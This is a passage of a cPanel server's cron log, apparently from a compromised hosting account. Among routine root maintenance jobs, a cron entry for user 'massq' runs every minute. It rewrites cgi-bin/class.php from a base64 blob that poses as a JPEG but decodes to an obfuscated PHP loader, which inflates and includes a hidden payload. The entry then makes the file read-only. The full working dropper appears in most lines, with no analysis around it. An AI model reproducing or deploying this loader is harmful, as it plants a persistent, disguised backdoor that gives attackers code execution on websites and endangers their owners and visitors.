&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:25:01 server CROND[2717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:25:01 server CROND[2718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:25:01 server CROND[2719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:26:01 server CROND[3632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:27:01 server CROND[4634]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:27:01 server CROND[4635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:28:01 server CROND[5493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:29:01 server CROND[6361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:30:01 server CROND[7234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 21:30:01 server CROND[7235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:30:01 server CROND[7236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:30:01 server CROND[7237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:31:01 server CROND[8151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:32:01 server CROND[8674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:33:01 server CROND[9291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:34:01 server CROND[10165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:35:01 server CROND[11049]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 21:35:01 server CROND[11051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:35:01 server CROND[11052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:35:01 server CROND[11056]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 21:35:01 server CROND[11057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:36:01 server CROND[11919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
